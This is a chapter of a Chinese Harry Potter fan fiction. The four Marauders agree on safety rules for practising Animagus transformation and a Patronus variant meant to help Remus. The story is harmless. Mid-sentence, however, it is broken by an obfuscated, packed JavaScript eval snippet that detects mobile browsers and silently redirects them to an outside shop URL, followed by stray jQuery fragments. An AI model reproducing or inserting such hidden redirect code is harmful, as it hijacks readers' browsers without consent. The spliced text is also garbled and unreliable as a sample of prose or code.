123读书网 > 都市小说 > HP之蝴蝶效应 > 98.九十八
    詹姆走出奖品陈列室时,天几乎全黑了,走廊里亮起了火把,光影在石墙上跳动。


    他脑子里还在回放邓布利多的话。


    走到格兰芬多塔楼门口时,他看见西里斯刚从里面出来。


    “你去哪儿?”詹姆问。


    “找莱姆斯。”西里斯说,“有点事想问他。”


    “关于……你研究的那个?”


    西里斯看了他一眼,点点头。“嗯,我觉得……可能对他有帮助。”


    詹姆想说“是什么”,想说“让我看看”,想说“我们一起想”,但他想起邓布利多的话——不是替他走路。


    所以他只是点了点头。


    “需要我帮忙就说。”


    西里斯愣了下,然后笑了——不是以前那种张扬的大笑,是一个微小但真实的笑容。


    “会说的。”他说,“但得等我自己先搞明白点,现在跟你说,你也听不懂。”


    这句话要是以前说,詹姆肯定会跳起来说“你说谁听不懂”,但现在,他只是耸耸肩。


    “行,那你搞快点。魁地奇训练别迟到,队长说要练新战术。”


    “知道。”


    西里斯走了,詹姆看着他消失在走廊拐角,然后转身进入肖像洞口。


    公共休息室里很热闹,一堆人在吵下周的魔药测验。


    彼得看见他,跑过来说:“詹姆!西里斯刚才找你——”


    “知道了。”詹姆说,“没事。”


    他走到窗边,看着外面完全黑下来的天空,远处禁林像一团更深的墨迹,城堡的灯光在窗玻璃上投出温暖的倒影。


    詹姆第一次明确地知道:


    他不需要所有事都有答案,他不需要掌控所有方向。他只需要——当他的朋友在暴风雨里找路时,做那个不会被吹走的灯塔。


    至于怎么指引方向……


    也许西里斯会找到新的方法,而他,得学会相信那个方法,即使他看不懂,即使那条路,他从来没走过。


    那天晚上十点,格兰芬多塔楼的公共休息室里人渐渐少了。


    低年级的已经回宿舍,高年级的要么在赶论文,要么偷偷溜去约会。


    壁炉里的火噼啪作响,把四个人的影子投在墙上,拉得很长。


    西里斯先开口,他把那卷羊皮纸摊在茶几上。


    “我找到点东西。”他说,“可能……对莱姆斯有用。”


    莱姆斯本来窝在扶手椅里看书,闻言抬起头,眼睛在西里斯脸上停了几秒,然后落到羊皮纸上。


    “这是什么?”


    “一个老巫师写的手札。”西里斯用手指点着其中一页,“看这儿——他见过一个被狼人咬伤的孩子,月圆的时候,他用一种守护神咒的变体,让那孩子在变形时短暂地清醒过。”


    莱姆斯的呼吸停了一下,他放下书,身体前倾。


    “……真的?”


    “他说就一眨眼工夫。”西里斯说得很快,“而且他自己也说,这个办法不稳定,可能一次管用,下次就不灵了。但是——”他深吸一口气,“但是至少说明,有可能。不是‘绝对没救’,是‘可能可以想办法’。”


    詹姆坐在西里斯旁边,安静地听着。他看见莱姆斯盯着那些字,一遍一遍地看,嘴唇无声地翕动,像在反复确认这不是幻觉。


    “这个咒语……”莱姆斯的声音很轻,“难吗?”


    “难。”西里斯诚实地回答,“手札上说,关键不是魔力多强,是你的‘意图’得特别纯粹。”


    他顿了顿,声音更低了一点:“而且施咒的人自己心里不能有太多乱七八糟的东西。”


    莱姆斯沉默了,过了很久,他才说:“所以你想练这个?”


    “我想试试。”西里斯说,“就算最后没练成——至少我在试着找一条……不那么糟的路。”


    他说完这句,突然觉得轻松了点。像是一直压在胸口的一块石头,终于被他撬开了一条缝。


    詹姆在这时开口了。“那阿尼马格斯呢?还练吗?”


    西里斯看向他,灰色的眼睛在火光里很亮。“练,但得换个练法。”


    “怎么换?”


    “我们不能再像以前那样硬来了。”西里斯说,“你看——我之前练阿尼马格斯的时候,就是因为太急了,太想‘立刻成功’,结果差点出事。它是个危险的魔法,我们得尊重它的危险,不是硬闯过去。”


    他拿起手札,翻到另一页:“这里面还提到一种‘心镜术’,说是能帮人看清楚自己心里哪儿乱了。我在想……也许我们该先练这个。在每次尝试变形之前,先把自己状态调整好。不生气,不着急,不害怕。”


    彼得小声问:“那要是我们一直生气一直害怕怎么办?就一直不练了?”


    “那就等到不生气不害怕了再练。”西里斯说得斩钉截铁,“这魔法又不会跑,但我们要是再像上次那样——我差点把胳膊废了——那才是真的完了。”


    詹姆盯着壁炉里的火焰,没说话,他在消化西里斯的话。


    “所以你的意思是,”詹姆慢慢地说,“我们不放弃阿尼马格斯,但我们得……更聪明地练,先保证自己别死,再想着成功。”


    “对。”西里斯点头,“而且——”他看向莱姆斯,“如果我们真能把这个‘守护神咒’练出来,也许……在没练成阿尼马格斯之前,我们也能靠这个办法陪伴你了。”


    莱姆斯的眼眶突然红了,他猛地低下头,手指死死攥着长袍的布料。


    “别……”他的声音哽咽,“别为了我——”


    “不是为了你。”西里斯打断他,语气温和,“是为了我们,我们四个。我不想再看见你每次回来都像死过一次,也不想再看见詹姆为了拦住我差点被咒语打中,更不想再看见彼得吓得睡不着觉。”


    他环视着三个人,一字一句地说:


    “我们要找的,是一条我们都能活着走过去的路,不是谁为谁牺牲,是我们一起……想办法活着。”


    公共休息室里安静得只剩下火苗噼啪的声音。


    然后,詹姆站了起来。


    他走到壁炉前,背对着火焰,面对三个人。火光在他身后跳跃,把他的影子投在三个人身上,像一个沉默的守护者。


    “好。”詹姆说,“那就这么干,三条规矩——”


    他竖起一根手指:“第一,所有练习必须有至少两个人在场,一个人练的时候,另一个人看着,不对劲立刻停下。”


    第二根手指:“第二,我们得轮流当那个‘喊停’的人。今天西里斯练,我喊停;明天我练,彼得喊停。谁也不能说‘我没事,再试一次’——喊停的人说了算。”


    第三根手指:“第三,我们得定期……聊聊。聊一下‘你今天感觉怎么样’。谁心里有事,说出来,憋着不说,最后炸了,倒霉的是所有人。”


    他说完,看向西里斯:“同意吗?”


    西里斯点头:“同意。”


    看向莱姆斯:“同意吗?”


    莱姆斯抬起发红的眼睛,用力点头。


    看向彼得:“彼得?”


    彼得一直在紧张地绞着手指。他看看詹姆,看看西里斯,又看看莱姆斯,小声说:“那……那要是轮到我喊停的时候,你们不听我的怎么办?”


    这是个很彼得的问题——直接,现实,戳在最脆弱的点上。


    詹姆还没来得及回答,西里斯先开口了。


    “那你就用这个。”西里斯从长袍口袋里掏出一个小东西,扔给彼得。


    彼得手忙脚乱地接住——是一个小小的铜哨子,拴在一条皮绳上。


    “你就吹这个。”西里斯说,“以后只要你一吹这个,不管我们在干什么,立刻停下。谁不停——”他看了詹姆一眼,“你就去找麦格教授举报我们非法练习阿尼马格斯。”


    彼得握着那个哨子,愣愣地看着西里斯,又看看詹姆。


    “真……真的?”


    “真的。”詹姆认真地说,“你比我们都细心,彼得。上次要不是你第一个发现西里斯不对劲,他可能真把自己练废了,我们需要你这个——警戒线。”


    彼得低下头,盯着手里的哨子。铜制的表面在火光下泛着温润的光泽,皮绳绕在他手指上,有点粗糙,但很结实。


    他从来没被这么正式地……需要过。


    以前他也帮忙——帮他们望风,帮他们找材料,帮他们打掩护。但那些都是“帮”。


    詹姆和西里斯是主角,他是辅助,他可以出错,可以胆小,可以搞砸,因为最后总有詹姆或者西里斯兜底。


    但这一次不一样。


    这一次,他们说:我们需要你当那个喊停的人,我们需要你保证我们别死。


    这个责任太重了,重得彼得手心里全是汗。但不知道为什么,他心里某个一直悬空的地方,突然……落下来了。


    像是一直飘在天上的风筝,终于有人把线头塞进他手里,说:“抓紧了,别让它飞走。”


    “我……”彼得抬起头,声音还有点抖,但比刚才稳了一点,“我会好好看着的。”


    “知道你会。”詹姆说,然后补了一句,“而且不止这个——彼得,你还记得上次我们研究复方汤剂的时候吗?”


    彼得茫然地点头:“记得……”


    “那时候我们搞不清楚月长石粉要加多少,是你去图书馆翻了五本书,最后找出来一个表格,说‘按体重算,每十磅加四分之一勺’。”詹姆看着他,“要不是你,我们可能早就变成半人半猫的怪物了。”


    彼得的脸慢慢红了。这事儿他自己都快忘了——就是一次普通的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945859|188647||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    查资料,詹姆当时说了句“干得好彼得”,但也就那么一句。


    可现在詹姆在四个人面前,这么认真地提起来。


    “我的意思是,”詹姆继续说,“我们每个人都有自己的长处。西里斯胆子大,敢试新东西;莱姆斯细心,总能发现我们漏掉的细节;你——”他指着彼得,“你记性好,耐得住性子查资料,而我……我可能比较擅长把大家聚在一起。”


    他顿了顿,笑了:“所以我们得用上所有人的长处。西里斯找新方法,莱姆斯分析可行性,你查资料做记录,我保证大方向别跑偏,这样行不行?”


    彼得用力点头,手里的哨子握得更紧了。


    莱姆斯在这时轻声说:“那……我可以帮忙做记录。每个月圆前后,我的感觉有什么变化,如果那个守护咒真的有用,我能感觉到什么——这些都可以记下来,也许以后……还能帮到别人。”


    他说完,有点不好意思地低下头。


    西里斯伸手,用力按了按他的肩膀。


    “好主意。”西里斯说,“而且不止你——我们四个都记,每个人练的时候什么感觉,哪儿顺利哪儿卡住,都记下来,这样下次就知道该怎么调整。”


    “像做实验。”彼得小声说。


    “对。”西里斯笑了,“像做实验,我们不是在瞎撞,我们是在……收集数据。”


    这个词从他嘴里说出来有点怪——西里斯这辈子最讨厌的就是写作业,但现在他说得自然而然。


    詹姆看着这一幕,突然想起邓布利多的话:参照物。


    他不是唯一的路标。西里斯在找新路,莱姆斯在提供他自己的体验,彼得在负责警戒和记录——每个人都在用自己的方式,指向那个他们都知道的“北方”。


    而他要做的,不是把所有人都拉到自己的路上。


    是确保大家别走散。


    “那就这么定了。”詹姆说,“从明天开始,我们重新安排时间。周一周三晚上,图书馆查资料,找所有关于光明魔法和守护咒的书。周二周四练习,但每次练习前,必须先花半小时调整状态,聊清楚今天有没有人心里有事。”


    他环视三个人:“周末休息,该打魁地奇打魁地奇,该睡觉睡觉,我们不是要苦修——我们要变成……更聪明的格兰芬多。”


    西里斯第一个笑出来。“更聪明的格兰芬多,”他重复,“听起来像矛盾修辞。”


    “管他呢。”詹姆咧嘴一笑,“反正我们本来也不怎么正常。”


    莱姆斯也笑了,虽然眼睛还红着。彼得握着哨子,小心地把它挂在脖子上,铜哨子贴在心口的位置,有点凉,但很快就暖了。


    壁炉里的火又爆出一个火星,噼啪一声。


    四个人都没说话,但空气里有种新的东西——不是以前那种“我们要干票大的”的兴奋,也不是最近那种“我们可能要完蛋了”的沉重,是一种……踏实。


    像在暴风雨里航行的小船,终于有人开始修桅杆、补帆、检查地图,船还在晃,风还在吹,但至少,他们知道自己在做什么了。


    最后,詹姆站起来伸了个懒腰。


    “我饿了。”他说,“厨房这会儿应该还有剩下的布丁,谁去?”


    “我去吧。”彼得突然说,“我知道一条近路,费尔奇这时候应该在五楼巡逻,厨房那边没人。”


    西里斯挑眉:“你什么时候摸清楚费尔奇巡逻路线的?”


    “上个月。”彼得有点不好意思,“你们在练阿尼马格斯的时候,我一个人没事干,就在城堡里转悠……记了点路线。”


    詹姆和西里斯对视一眼。


    “看吧,”詹姆说,“我就说你细心。”


    彼得的脸又红了,但这次他没低头,他站起来,把哨子塞进领口,朝肖像洞口走去。


    走到一半,他回过头:“要草莓布丁还是巧克力?”


    “都要。”西里斯说,“多拿点,庆祝我们……重新开始。”


    “重新开始。”莱姆斯轻声重复。


    彼得点点头,走出休息室,他的脚步声在走廊里远去,很轻,但很稳。


    剩下的三个人坐在壁炉前,安静了一会儿。


    然后西里斯说:“他会没事的。”


    “我们都会没事的。”詹姆说。


    莱姆斯看着火焰,慢慢地说:“就算不是现在……以后也会的。”


    窗外的夜色很深,城堡的塔楼在星空下勾勒出沉默的剪影。远处黑湖的水面偶尔泛起一点银光,像有什么巨大的生物在水下翻身。


    但在格兰芬多塔楼里,壁炉的火还烧着。


    四个人,四条不同的路,但都指向同一个方向。


    而这一次,他们决定一起走。


    用更聪明的方式。


    用更慢,但更稳的脚步。